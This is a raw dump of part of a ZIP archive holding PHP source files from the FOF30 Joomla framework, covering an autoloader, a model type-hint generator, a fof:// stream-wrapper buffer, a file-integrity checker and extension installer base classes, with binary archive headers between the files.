the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // work around for PHP 5.3.0 - 5.3.2 https://bugs.php.net/50731 if ('\\' == $class[0]) { $class = substr($class, 1); } // FEFHelper lookup if (substr($class, 0, 9) == 'FEFHelper') { if (file_exists($file = realpath(__DIR__ . '/..') . '/Utils/FEFHelper/' . strtolower(substr($class, 9)) . '.php')) { return $file; } } // PSR-4 lookup $logicalPath = strtr($class, '\\', DIRECTORY_SEPARATOR) . '.php'; $first = $class[0]; if (isset($this->prefixLengths[$first])) { foreach ($this->prefixLengths[$first] as $prefix => $length) { if (0 === strpos($class, $prefix)) { foreach ($this->prefixDirs[$prefix] as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPath, $length))) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPath)) { return $file; } } return false; } } // Register the current namespace with the autoloader Autoloader::getInstance()->addMap('FOF30\\', [realpath(__DIR__ . '/..')]); Autoloader::getInstance()->register(); PK���\� ��MMfof30/Utils/ModelTypeHints.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use FOF30\Model\DataModel; use FOF30\Model\DataModel\Relation\Exception\RelationNotFound; /** * Generate phpDoc type hints for the magic fields of your DataModels * * @package FOF30\Utils */ class ModelTypeHints { /** * The model for which to create type hints * * @var DataModel */ protected $model = null; /** * Name of the class. If empty will be inferred from the current object * * @var string */ protected $className = null; /** * Public constructor * * @param DataModel $model The model to create hints for */ public function __construct(DataModel $model) { $this->model = $model; $this->className = get_class($model); } /** * Translates the database field type into a PHP base type * * @param string $type The type of the field * * @return string The PHP base type */ public static function getFieldType($type) { // Remove parentheses, indicating field options / size (they don't matter in type detection) if (!empty($type)) { [$type, ] = explode('(', $type); } $detectedType = null; switch (trim($type)) { case 'varchar': case 'text': case 'smalltext': case 'longtext': case 'char': case 'mediumtext': case 'character varying': case 'nvarchar': case 'nchar': $detectedType = 'string'; break; case 'date': case 'datetime': case 'time': case 'year': case 'timestamp': case 'timestamp without time zone': case 'timestamp with time zone': $detectedType = 'string'; break; case 'tinyint': case 'smallint': $detectedType = 'bool'; break; case 'float': case 'currency': case 'single': case 'double': $detectedType = 'float'; break; } // Sometimes we have character types followed by a space and some cruft. Let's handle them. if (is_null($detectedType) && !empty($type)) { [$type, ] = explode(' ', $type); switch (trim($type)) { case 'varchar': case 'text': case 'smalltext': case 'longtext': case 'char': case 'mediumtext': case 'nvarchar': case 'nchar': $detectedType = 'string'; break; case 'date': case 'datetime': case 'time': case 'year': case 'timestamp': case 'enum': $detectedType = 'string'; break; case 'tinyint': case 'smallint': $detectedType = 'bool'; break; case 'float': case 'currency': case 'single': case 'double': $detectedType = 'float'; break; default: $detectedType = 'int'; break; } } // If all else fails assume it's an int and hope for the best if (empty($detectedType)) { $detectedType = 'int'; } return $detectedType; } /** * @param string $className */ public function setClassName($className) { $this->className = $className; } /** * Return the raw hints array * * @return array * * @throws RelationNotFound */ public function getRawHints() { $model = $this->model; $hints = [ 'property' => [], 'method' => [], 'property-read' => [], ]; $hasFilters = $model->getBehavioursDispatcher()->hasObserverClass('FOF30\Model\DataModel\Behaviour\Filters'); $magicFields = [ 'enabled', 'ordering', 'created_on', 'created_by', 'modified_on', 'modified_by', 'locked_on', 'locked_by', ]; foreach ($model->getTableFields() as $fieldName => $fieldMeta) { $fieldType = self::getFieldType($fieldMeta->Type); if (!in_array($fieldName, $magicFields)) { $hints['property'][] = [$fieldType, '$' . $fieldName]; } if ($hasFilters) { $hints['method'][] = [ '$this', $fieldName . '()', $fieldName . '(' . $fieldType . ' $v)', ]; } } $relations = $model->getRelations()->getRelationNames(); $modelType = get_class($model); $modelTypeParts = explode('\\', $modelType); array_pop($modelTypeParts); $modelType = implode('\\', $modelTypeParts) . '\\'; if ($relations) { foreach ($relations as $relationName) { $relationObject = $model->getRelations()->getRelation($relationName)->getForeignModel(); $relationType = get_class($relationObject); $relationType = str_replace($modelType, '', $relationType); $hints['property-read'][] = [ $relationType, '$' . $relationName, ]; } } return $hints; } /** * Returns the docblock with the magic field hints for the model class * * @return string */ public function getHints() { $modelName = $this->className; $text = "/**\n * Model $modelName\n *\n"; $hints = $this->getRawHints(); if (!empty($hints['property'])) { $text .= " * Fields:\n *\n"; $colWidth = 0; foreach ($hints['property'] as $hintLine) { $colWidth = max($colWidth, strlen($hintLine[0])); } $colWidth += 2; foreach ($hints['property'] as $hintLine) { $text .= " * @property " . str_pad($hintLine[0], $colWidth, ' ') . $hintLine[1] . "\n"; } $text .= " *\n"; } if (!empty($hints['method'])) { $text .= " * Filters:\n *\n"; $colWidth = 0; $col2Width = 0; foreach ($hints['method'] as $hintLine) { $colWidth = max($colWidth, strlen($hintLine[0])); $col2Width = max($col2Width, strlen($hintLine[1])); } $colWidth += 2; $col2Width += 2; foreach ($hints['method'] as $hintLine) { $text .= " * @method " . str_pad($hintLine[0], $colWidth, ' ') . str_pad($hintLine[1], $col2Width, ' ') . $hintLine[2] . "\n"; } $text .= " *\n"; } if (!empty($hints['property-read'])) { $text .= " * Relations:\n *\n"; $colWidth = 0; foreach ($hints['property-read'] as $hintLine) { $colWidth = max($colWidth, strlen($hintLine[0])); } $colWidth += 2; foreach ($hints['property-read'] as $hintLine) { $text .= " * @property " . str_pad($hintLine[0], $colWidth, ' ') . $hintLine[1] . "\n"; } $text .= " *\n"; } $text .= "**/\n"; return $text; } } PK���\�Eq��fof30/Utils/Buffer.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; /** * Registers a fof:// stream wrapper */ class Buffer { /** * Buffer hash * * @var array */ public static $buffers = []; public static $canRegisterWrapper = null; /** * Stream position * * @var integer */ public $position = 0; /** * Buffer name * * @var string */ public $name = null; /** * Should I register the fof:// stream wrapper * * @return bool True if the stream wrapper can be registered */ public static function canRegisterWrapper() { if (is_null(static::$canRegisterWrapper)) { static::$canRegisterWrapper = false; // Maybe the host has disabled registering stream wrappers altogether? if (!function_exists('stream_wrapper_register')) { return false; } // Check for Suhosin if (function_exists('extension_loaded')) { $hasSuhosin = extension_loaded('suhosin'); } else { $hasSuhosin = -1; // Can't detect } if ($hasSuhosin !== true) { $hasSuhosin = defined('SUHOSIN_PATCH') ? true : -1; } if ($hasSuhosin === -1) { if (function_exists('ini_get')) { $hasSuhosin = false; $maxIdLength = ini_get('suhosin.session.max_id_length'); if ($maxIdLength !== false) { $hasSuhosin = ini_get('suhosin.session.max_id_length') !== ''; } } } // If we can't detect whether Suhosin is installed we won't proceed to prevent a White Screen of Death if ($hasSuhosin === -1) { return false; } // If Suhosin is installed but ini_get is not available we won't proceed to prevent a WSoD if ($hasSuhosin && !function_exists('ini_get')) { return false; } // If Suhosin is installed check if fof:// is whitelisted if ($hasSuhosin) { $whiteList = ini_get('suhosin.executor.include.whitelist'); // Nothing in the whitelist? I can't go on, sorry. if (empty($whiteList)) { return false; } $whiteList = explode(',', $whiteList); $whiteList = array_map(function ($x) { return trim($x); }, $whiteList); if (!in_array('fof://', $whiteList)) { return false; } } static::$canRegisterWrapper = true; } return static::$canRegisterWrapper; } /** * Function to open file or url * * @param string $path The URL that was passed * @param string $mode Mode used to open the file @see fopen * @param integer $options Flags used by the API, may be STREAM_USE_PATH and * STREAM_REPORT_ERRORS * @param string &$opened_path Full path of the resource. Used with STREAM_USE_PATH option * * @return boolean * * @see streamWrapper::stream_open */ public function stream_open($path, $mode, $options, &$opened_path) { $url = parse_url($path); $this->name = $url['host'] . $url['path']; $this->position = 0; if (!isset(static::$buffers[$this->name])) { static::$buffers[$this->name] = null; } return true; } public function unlink($path) { $url = parse_url($path); $name = $url['host']; if (isset(static::$buffers[$name])) { unset (static::$buffers[$name]); } } public function stream_stat() { return [ 'dev' => 0, 'ino' => 0, 'mode' => 0644, 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => strlen(static::$buffers[$this->name]), 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => -1, 'blocks' => -1, ]; } /** * Read stream * * @param integer $count How many bytes of data from the current position should be returned. * * @return mixed The data from the stream up to the specified number of bytes (all data if * the total number of bytes in the stream is less than $count. Null if * the stream is empty. * * @see streamWrapper::stream_read * @since 11.1 */ public function stream_read($count) { $ret = substr(static::$buffers[$this->name], $this->position, $count); $this->position += strlen($ret); return $ret; } /** * Write stream * * @param string $data The data to write to the stream. * * @return integer * * @see streamWrapper::stream_write * @since 11.1 */ public function stream_write($data) { $left = substr(static::$buffers[$this->name], 0, $this->position); $right = substr(static::$buffers[$this->name], $this->position + strlen($data)); static::$buffers[$this->name] = $left . $data . $right; $this->position += strlen($data); return strlen($data); } /** * Function to get the current position of the stream * * @return integer * * @see streamWrapper::stream_tell * @since 11.1 */ public function stream_tell() { return $this->position; } /** * Function to test for end of file pointer * * @return boolean True if the pointer is at the end of the stream * * @see streamWrapper::stream_eof * @since 11.1 */ public function stream_eof() { return $this->position >= strlen(static::$buffers[$this->name]); } /** * The read write position updates in response to $offset and $whence * * @param integer $offset The offset in bytes * @param integer $whence Position the offset is added to * Options are SEEK_SET, SEEK_CUR, and SEEK_END * * @return boolean True if updated * * @see streamWrapper::stream_seek * @since 11.1 */ public function stream_seek($offset, $whence) { switch ($whence) { case SEEK_SET: if ($offset < strlen(static::$buffers[$this->name]) && $offset >= 0) { $this->position = $offset; return true; } else { return false; } break; case SEEK_CUR: if ($offset >= 0) { $this->position += $offset; return true; } else { return false; } break; case SEEK_END: if (strlen(static::$buffers[$this->name]) + $offset >= 0) { $this->position = strlen(static::$buffers[$this->name]) + $offset; return true; } else { return false; } break; default: return false; } } } if (Buffer::canRegisterWrapper()) { stream_wrapper_register('fof', 'FOF30\\Utils\\Buffer'); } PK���\�L�fof30/Utils/FilesCheck.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use FOF30\Timer\Timer; use Joomla\CMS\Factory; /** * A utility class to check that your extension's files are not missing and have not been tampered with. * * You need a file called fileslist.php in your component's administrator root directory with the following contents: * * $phpFileChecker = array( * 'version' => 'revCEE2DAB', * 'date' => '2014-10-16', * 'directories' => array( * 'administrator/components/com_foobar', * .... * ), * 'files' => array( * 'administrator/components/com_foobar/access.xml' => array('705', '09aa0351a316bf011ecc8c1145134761', * 'b95f00c7b49a07a60570dc674f2497c45c4e7152'), * .... * ) * ); * * All directory and file paths are relative to the site's root * * The directories array is a list of directories which must exist. The files array has the file paths as keys. The * value is a simple array containing the following elements in this order: file size in bytes, MD5 checksum, SHA1 * checksum. */ class FilesCheck { /** @var string The name of the component */ protected $option = ''; /** @var string Current component version */ protected $version = null; /** @var string Current component release date */ protected $date = null; /** @var array List of files to check as filepath => (filesize, md5, sha1) */ protected $fileList = []; /** @var array List of directories to check that exist */ protected $dirList = []; /** @var bool Is the reported component version different than the version of the #__extensions table? */ protected $wrongComponentVersion = false; /** @var bool Is the fileslist.php reporting a version different than the reported component version? */ protected $wrongFilesVersion = false; /** * Create and initialise the object * * @param string $option Component name, e.g. com_foobar * @param string $version The current component version, as reported by the component * @param string $date The current component release date, as reported by the component */ public function __construct($option, $version, $date) { // Initialise from parameters $this->option = $option; $this->version = $version; $this->date = $date; // Retrieve the date and version from the #__extensions table $db = Factory::getDbo(); $query = $db->getQuery(true)->select('*')->from($db->qn('#__extensions')) ->where($db->qn('element') . ' = ' . $db->q($this->option)) ->where($db->qn('type') . ' = ' . $db->q('component')); $extension = $db->setQuery($query)->loadObject(); // Check the version and date against those from #__extensions. I hate heavily nested IFs as much as the next // guy, but what can you do... if (!is_null($extension)) { $manifestCache = $extension->manifest_cache; if (!empty($manifestCache)) { $manifestCache = json_decode($manifestCache, true); if (is_array($manifestCache) && isset($manifestCache['creationDate']) && isset($manifestCache['version'])) { // Make sure the fileslist.php version and date match the component's version if ($this->version != $manifestCache['version']) { $this->wrongComponentVersion = true; } if ($this->date != $manifestCache['creationDate']) { $this->wrongComponentVersion = true; } } } } // Try to load the fileslist.php file from the component's back-end root $filePath = JPATH_ADMINISTRATOR . '/components/' . $this->option . '/fileslist.php'; if (!file_exists($filePath)) { return; } $couldInclude = @include($filePath); // If we couldn't include the file with the array OR if it didn't define the array we have to quit. if (!$couldInclude || !isset($phpFileChecker)) { return; } // Make sure the fileslist.php version and date match the component's version if ($this->version != $phpFileChecker['version']) { $this->wrongFilesVersion = true; } if ($this->date != $phpFileChecker['date']) { $this->wrongFilesVersion = true; } // Initialise the files and directories lists $this->fileList = $phpFileChecker['files']; $this->dirList = $phpFileChecker['directories']; } /** * Is the reported component version different than the version of the #__extensions table? * * @return boolean */ public function isWrongComponentVersion() { return $this->wrongComponentVersion; } /** * Is the fileslist.php reporting a version different than the reported component version? * * @return boolean */ public function isWrongFilesVersion() { return $this->wrongFilesVersion; } /** * Performs a fast check of file and folders. If even one of the files/folders doesn't exist, or even one file has * the wrong file size it will return false. * * @return bool False when there are mismatched files and directories */ public function fastCheck() { // Check that all directories exist foreach ($this->dirList as $directory) { $directory = JPATH_ROOT . '/' . $directory; if (!@is_dir($directory)) { return false; } } // Check that all files exist and have the right size foreach ($this->fileList as $filePath => $fileData) { $filePath = JPATH_ROOT . '/' . $filePath; if (!@file_exists($filePath)) { return false; } $fileSize = @filesize($filePath); if ($fileSize != $fileData[0]) { return false; } } return true; } /** * Performs a slow, thorough check of all files and folders (including MD5/SHA1 sum checks) * * @param int $idx The index from where to start * * @return array Progress report */ public function slowCheck($idx = 0) { $ret = [ 'done' => false, 'files' => [], 'folders' => [], 'idx' => $idx, ]; $totalFiles = count($this->fileList); $totalFolders = count($this->dirList); $fileKeys = array_keys($this->fileList); $timer = new Timer(3.0, 75.0); while ($timer->getTimeLeft() && (($idx < $totalFiles) || ($idx < $totalFolders))) { if ($idx < $totalFolders) { $directory = JPATH_ROOT . '/' . $this->dirList[$idx]; if (!@is_dir($directory)) { $ret['folders'][] = $directory; } } if ($idx < $totalFiles) { $fileKey = $fileKeys[$idx]; $filePath = JPATH_ROOT . '/' . $fileKey; $fileData = $this->fileList[$fileKey]; if (!@file_exists($filePath)) { $ret['files'][] = $fileKey . ' (missing)'; } elseif (@filesize($filePath) != $fileData[0]) { $ret['files'][] = $fileKey . ' (size ' . @filesize($filePath) . ' ≠ ' . $fileData[0] . ')'; } else { if (function_exists('sha1_file')) { $fileSha1 = @sha1_file($filePath); if ($fileSha1 != $fileData[2]) { $ret['files'][] = $fileKey . ' (SHA1 ' . $fileSha1 . ' ≠ ' . $fileData[2] . ')'; } } elseif (function_exists('md5_file')) { $fileMd5 = @md5_file($filePath); if ($fileMd5 != $fileData[1]) { $ret['files'][] = $fileKey . ' (MD5 ' . $fileMd5 . ' ≠ ' . $fileData[1] . ')'; } } } } $idx++; } if (($idx >= $totalFiles) && ($idx >= $totalFolders)) { $ret['done'] = true; } $ret['idx'] = $idx; return $ret; } } PK���\��fBPBP+fof30/Utils/InstallScript/BaseInstaller.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils\InstallScript; defined('_JEXEC') || die; use DirectoryIterator; use Exception; use FOFTemplateUtils; use JLoader; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\File; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Log\Log; class BaseInstaller { /** * The minimum PHP version required to install this extension * * @var string */ protected $minimumPHPVersion = '7.2.0'; /** * The minimum Joomla! version required to install this extension * * @var string */ protected $minimumJoomlaVersion = '3.3.0'; /** * The maximum Joomla! version this extension can be installed on * * @var string */ protected $maximumJoomlaVersion = '4.0.99'; /** * Post-installation message definitions for Joomla! 3.2 or later. * * This array contains the message definitions for the Post-installation Messages component added in Joomla! 3.2 and * later versions. Each element is also a hashed array. For the keys used in these message definitions please see * addPostInstallationMessage * * @var array */ protected $postInstallationMessages = []; /** * Recursively copy a bunch of files, but only if the source and target file have a different size. * * @param string $source Path to copy FROM * @param string $dest Path to copy TO * @param array $ignored List of entries to ignore (first level entries are taken into account) * * @return void */ protected function recursiveConditionalCopy($source, $dest, $ignored = []) { // Make sure source and destination exist if (!@is_dir($source)) { return; } if (!@is_dir($dest)) { if (!@mkdir($dest, 0755)) { Folder::create($dest, 0755); } } if (!@is_dir($dest)) { $this->log(__CLASS__ . ": Cannot create folder $dest"); return; } // List the contents of the source folder try { $di = new DirectoryIterator($source); } catch (Exception $e) { return; } // Process each entry foreach ($di as $entry) { // Ignore dot dirs (. and ..) if ($entry->isDot()) { continue; } $sourcePath = $entry->getPathname(); $fileName = $entry->getFilename(); // Do not copy ignored files if (!empty($ignored) && in_array($fileName, $ignored)) { continue; } // If it's a directory do a recursive copy if ($entry->isDir()) { $this->recursiveConditionalCopy($sourcePath, $dest . DIRECTORY_SEPARATOR . $fileName); continue; } // If it's a file check if it's missing or identical $mustCopy = false; $targetPath = $dest . DIRECTORY_SEPARATOR . $fileName; if (!@is_file($targetPath)) { $mustCopy = true; } else { $sourceSize = @filesize($sourcePath); $targetSize = @filesize($targetPath); $mustCopy = $sourceSize != $targetSize; } if (!$mustCopy) { continue; } if (!@copy($sourcePath, $targetPath)) { if (!File::copy($sourcePath, $targetPath)) { $this->log(__CLASS__ . ": Cannot copy $sourcePath to $targetPath"); } } } } /** * Try to log a warning / error with Joomla * * @param string $message The message to write to the log * @param bool $error Is this an error? If not, it's a warning. (default: false) * @param string $category Log category, default jerror * * @return void */ protected function log($message, $error = false, $category = 'jerror') { // Just in case... if (!class_exists('JLog', true)) { return; } $priority = $error ? Log::ERROR : Log::WARNING; try { Log::add($message, $priority, $category); } catch (Exception $e) { // Swallow the exception. } } /** * Check that the server meets the minimum PHP version requirements. * * @return bool */ protected function checkPHPVersion() { if (!empty($this->minimumPHPVersion)) { if (defined('PHP_VERSION')) { $version = PHP_VERSION; } elseif (function_exists('phpversion')) { $version = phpversion(); } else { $version = '5.0.0'; // all bets are off! } if (!version_compare($version, $this->minimumPHPVersion, 'ge')) { $msg = "<p>You need PHP $this->minimumPHPVersion or later to install this extension</p>"; $this->log($msg); return false; } } return true; } /** * Check the minimum and maximum Joomla! versions for this extension * * @return bool */ protected function checkJoomlaVersion() { if (!empty($this->minimumJoomlaVersion) && !version_compare(JVERSION, $this->minimumJoomlaVersion, 'ge')) { $msg = "<p>You need Joomla! $this->minimumJoomlaVersion or later to install this extension</p>"; $this->log($msg); return false; } // Check the maximum Joomla! version if (!empty($this->maximumJoomlaVersion) && !version_compare(JVERSION, $this->maximumJoomlaVersion, 'le')) { $msg = "<p>You need Joomla! $this->maximumJoomlaVersion or earlier to install this extension</p>"; $this->log($msg); return false; } return true; } /** * Clear PHP opcode caches * * @return void */ protected function clearOpcodeCaches() { // Always reset the OPcache if it's enabled. Otherwise there's a good chance the server will not know we are // replacing .php scripts. This is a major concern since PHP 5.5 included and enabled OPcache by default. if (function_exists('opcache_reset')) { opcache_reset(); } // Also do that for APC cache elseif (function_exists('apc_clear_cache')) { @apc_clear_cache(); } } /** * Get the dependencies for a package from the #__akeeba_common table * * @param string $package The package * * @return array The dependencies */ protected function getDependencies($package) { $db = Factory::getDbo(); $query = $db->getQuery(true) ->select($db->qn('value')) ->from($db->qn('#__akeeba_common')) ->where($db->qn('key') . ' = ' . $db->q($package)); try { $dependencies = $db->setQuery($query)->loadResult(); $dependencies = json_decode($dependencies, true); if (empty($dependencies)) { $dependencies = []; } } catch (Exception $e) { $dependencies = []; } return $dependencies; } /** * Sets the dependencies for a package into the #__akeeba_common table * * @param string $package The package * @param array $dependencies The dependencies list */ protected function setDependencies($package, array $dependencies) { $db = Factory::getDbo(); $query = $db->getQuery(true) ->delete('#__akeeba_common') ->where($db->qn('key') . ' = ' . $db->q($package)); try { $db->setQuery($query)->execute(); } catch (Exception $e) { // Do nothing if the old key wasn't found } $object = (object) [ 'key' => $package, 'value' => json_encode($dependencies), ]; try { $db->insertObject('#__akeeba_common', $object, 'key'); } catch (Exception $e) { // Do nothing if the old key wasn't found } } /** * Adds a package dependency to #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to add */ protected function addDependency($package, $dependency) { $dependencies = $this->getDependencies($package); if (!in_array($dependency, $dependencies)) { $dependencies[] = $dependency; $this->setDependencies($package, $dependencies); } } /** * Removes a package dependency from #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to remove */ protected function removeDependency($package, $dependency) { $dependencies = $this->getDependencies($package); if (in_array($dependency, $dependencies)) { $index = array_search($dependency, $dependencies); unset($dependencies[$index]); $this->setDependencies($package, $dependencies); } } /** * Do I have a dependency for a package in #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to check for * * @return bool */ protected function hasDependency($package, $dependency) { $dependencies = $this->getDependencies($package); return in_array($dependency, $dependencies); } /** * Adds or updates a post-installation message (PIM) definition for Joomla! 3.2 or later. You can use this in your * post-installation script using this code: * * The $options array contains the following mandatory keys: * * extension_id The numeric ID of the extension this message is for (see the #__extensions table) * * type One of message, link or action. Their meaning is: * message Informative message. The user can dismiss it. * link The action button links to a URL. The URL is defined in the action parameter. * action A PHP action takes place when the action button is clicked. You need to specify the * action_file (RAD path to the PHP file) and action (PHP function name) keys. See * below for more information. * * title_key The JText language key for the title of this PIM * Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_TITLE * * description_key The JText language key for the main body (description) of this PIM * Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_DESCRIPTION * * action_key The JText language key for the action button. Ignored and not required when type=message * Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_ACTION * * language_extension The extension name which holds the language keys used above. For example, com_foobar, * mod_something, plg_system_whatever, tpl_mytemplate * * language_client_id Should we load the front-end (0) or back-end (1) language keys? * * version_introduced Which was the version of your extension where this message appeared for the first time? * Example: 3.2.1 * * enabled Must be 1 for this message to be enabled. If you omit it, it defaults to 1. * * condition_file The RAD path to a PHP file containing a PHP function which determines whether this message * should be shown to the user. @param array $options See description * * @return void * * @throws Exception * @see Template::parsePath() for RAD path format. Joomla! will include this file * before calling the function defined in the action key below. * Example: admin://components/com_foobar/helpers/postinstall.php * * action The name of a PHP function which will be used to run the action of this PIM. This must be * a * simple PHP user function (not a class method, static method etc) which returns no result. * Example: com_foobar_postinstall_messageone_action * * @see Template::parsePath() for RAD path format. Joomla! * will include this file before calling the condition_method. * Example: admin://components/com_foobar/helpers/postinstall.php * * condition_method The name of a PHP function which will be used to determine whether to show this message to * the user. This must be a simple PHP user function (not a class method, static method etc) * which returns true to show the message and false to hide it. This function is defined in * the condition_file. Example: com_foobar_postinstall_messageone_condition * * When type=message no additional keys are required. * * When type=link the following additional keys are required: * * action The URL which will open when the user clicks on the PIM's action button * Example: index.php?option=com_foobar&view=tools&task=installSampleData * * Then type=action the following additional keys are required: * * action_file The RAD path to a PHP file containing a PHP function which performs the action of this * PIM. * */ protected function addPostInstallationMessage(array $options) { // Make sure there are options set if (!is_array($options)) { throw new Exception('Post-installation message definitions must be of type array', 500); } // Initialise array keys $defaultOptions = [ 'extension_id' => '', 'type' => '', 'title_key' => '', 'description_key' => '', 'action_key' => '', 'language_extension' => '', 'language_client_id' => '', 'action_file' => '', 'action' => '', 'condition_file' => '', 'condition_method' => '', 'version_introduced' => '', 'enabled' => '1', ]; $options = array_merge($defaultOptions, $options); // Array normalisation. Removes array keys not belonging to a definition. $defaultKeys = array_keys($defaultOptions); $allKeys = array_keys($options); $extraKeys = array_diff($allKeys, $defaultKeys); if (!empty($extraKeys)) { foreach ($extraKeys as $key) { unset($options[$key]); } } // Normalisation of integer values $options['extension_id'] = (int) $options['extension_id']; $options['language_client_id'] = (int) $options['language_client_id']; $options['enabled'] = (int) $options['enabled']; // Normalisation of 0/1 values foreach (['language_client_id', 'enabled'] as $key) { $options[$key] = $options[$key] ? 1 : 0; } // Make sure there's an extension_id if (!(int) $options['extension_id']) { throw new Exception('Post-installation message definitions need an extension_id', 500); } // Make sure there's a valid type if (!in_array($options['type'], ['message', 'link', 'action'])) { throw new Exception('Post-installation message definitions need to declare a type of message, link or action', 500); } // Make sure there's a title key if (empty($options['title_key'])) { throw new Exception('Post-installation message definitions need a title key', 500); } // Make sure there's a description key if (empty($options['description_key'])) { throw new Exception('Post-installation message definitions need a description key', 500); } // If the type is anything other than message you need an action key if (($options['type'] != 'message') && empty($options['action_key'])) { throw new Exception('Post-installation message definitions need an action key when they are of type "' . $options['type'] . '"', 500); } // You must specify the language extension if (empty($options['language_extension'])) { throw new Exception('Post-installation message definitions need to specify which extension contains their language keys', 500); } // The action file and method are only required for the "action" type if ($options['type'] == 'action') { if (empty($options['action_file'])) { throw new Exception('Post-installation message definitions need an action file when they are of type "action"', 500); } $file_path = FOFTemplateUtils::parsePath($options['action_file'], true); if (!@is_file($file_path)) { throw new Exception('The action file ' . $options['action_file'] . ' of your post-installation message definition does not exist', 500); } if (empty($options['action'])) { throw new Exception('Post-installation message definitions need an action (function name) when they are of type "action"', 500); } } if ($options['type'] == 'link') { if (empty($options['link'])) { throw new Exception('Post-installation message definitions need an action (URL) when they are of type "link"', 500); } } // The condition file and method are only required when the type is not "message" if ($options['type'] != 'message') { if (empty($options['condition_file'])) { throw new Exception('Post-installation message definitions need a condition file when they are of type "' . $options['type'] . '"', 500); } $file_path = FOFTemplateUtils::parsePath($options['condition_file'], true); if (!@is_file($file_path)) { throw new Exception('The condition file ' . $options['condition_file'] . ' of your post-installation message definition does not exist', 500); } if (empty($options['condition_method'])) { throw new Exception('Post-installation message definitions need a condition method (function name) when they are of type "' . $options['type'] . '"', 500); } } // Check if the definition exists $tableName = '#__postinstall_messages'; $db = Factory::getDbo(); $query = $db->getQuery(true) ->select('*') ->from($db->qn($tableName)) ->where($db->qn('extension_id') . ' = ' . $db->q($options['extension_id'])) ->where($db->qn('type') . ' = ' . $db->q($options['type'])) ->where($db->qn('title_key') . ' = ' . $db->q($options['title_key'])); $existingRow = $db->setQuery($query)->loadAssoc(); // Is the existing definition the same as the one we're trying to save (ignore the enabled flag)? if (!empty($existingRow)) { $same = true; foreach ($options as $k => $v) { if ($k == 'enabled') { continue; } if ($existingRow[$k] != $v) { $same = false; break; } } // Trying to add the same row as the existing one; quit if ($same) { return; } // Otherwise it's not the same row. Remove the old row before insert a new one. $query = $db->getQuery(true) ->delete($db->qn($tableName)) ->where($db->q('extension_id') . ' = ' . $db->q($options['extension_id'])) ->where($db->q('type') . ' = ' . $db->q($options['type'])) ->where($db->q('title_key') . ' = ' . $db->q($options['title_key'])); $db->setQuery($query)->execute(); } // Insert the new row $options = (object) $options; $db->insertObject($tableName, $options); } /** * Applies the post-installation messages for Joomla! 3.2 or later * * @return void */ protected function _applyPostInstallationMessages() { // Make sure it's Joomla! 3.2.0 or later if (!version_compare(JVERSION, '3.2.0', 'ge')) { return; } // Make sure there are post-installation messages if (empty($this->postInstallationMessages)) { return; } // Get the extension ID for our component $db = Factory::getDbo(); $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('element') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); try { $ids = $db->loadColumn(); } catch (Exception $exc) { return; } if (empty($ids)) { return; } $extension_id = array_shift($ids); foreach ($this->postInstallationMessages as $message) { $message['extension_id'] = $extension_id; $this->addPostInstallationMessage($message); } } /** * Uninstalls the post-installation messages for Joomla! 3.2 or later * * @return void */ protected function uninstallPostInstallationMessages() { // Make sure it's Joomla! 3.2.0 or later if (!version_compare(JVERSION, '3.2.0', 'ge')) { return; } // Make sure there are post-installation messages if (empty($this->postInstallationMessages)) { return; } // Get the extension ID for our component $db = Factory::getDbo(); $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('element') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); try { $ids = $db->loadColumn(); } catch (Exception $exc) { return; } if (empty($ids)) { return; } $extension_id = array_shift($ids); $query = $db->getQuery(true) ->delete($db->qn('#__postinstall_messages')) ->where($db->qn('extension_id') . ' = ' . $db->q($extension_id)); try { $db->setQuery($query)->execute(); } catch (Exception $e) { return; } } } PK���\Lo��||$fof30/Utils/InstallScript/Module.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils\InstallScript; defined('_JEXEC') || die; use Exception; use FOF30\Database\Installer; use JLoader; use Joomla\CMS\Factory; use Joomla\CMS\Installer\Adapter\ComponentAdapter; use Joomla\CMS\Log\Log; // In case FOF's autoloader is not present yet, e.g. new installation if (!class_exists('FOF30\\Utils\\InstallScript\\BaseInstaller', true)) { require_once __DIR__ . '/BaseInstaller.php'; } /** * A helper class which you can use to create module installation scripts. * * Example usage: class Mod_ExampleInstallerScript extends FOF30\Utils\InstallScript\Module * * This namespace contains more classes for creating installation scripts for other kinds of Joomla! extensions as well. * Do keep in mind that only components, modules and plugins could have post-installation scripts before Joomla! 3.3. */ class Module extends BaseInstaller { /** * Which side of the site is this module installed in? Use 'site' or 'administrator'. * * @var string */ protected $moduleClient = 'site'; /** * The modules's name, e.g. mod_foobar. Auto-filled from the class 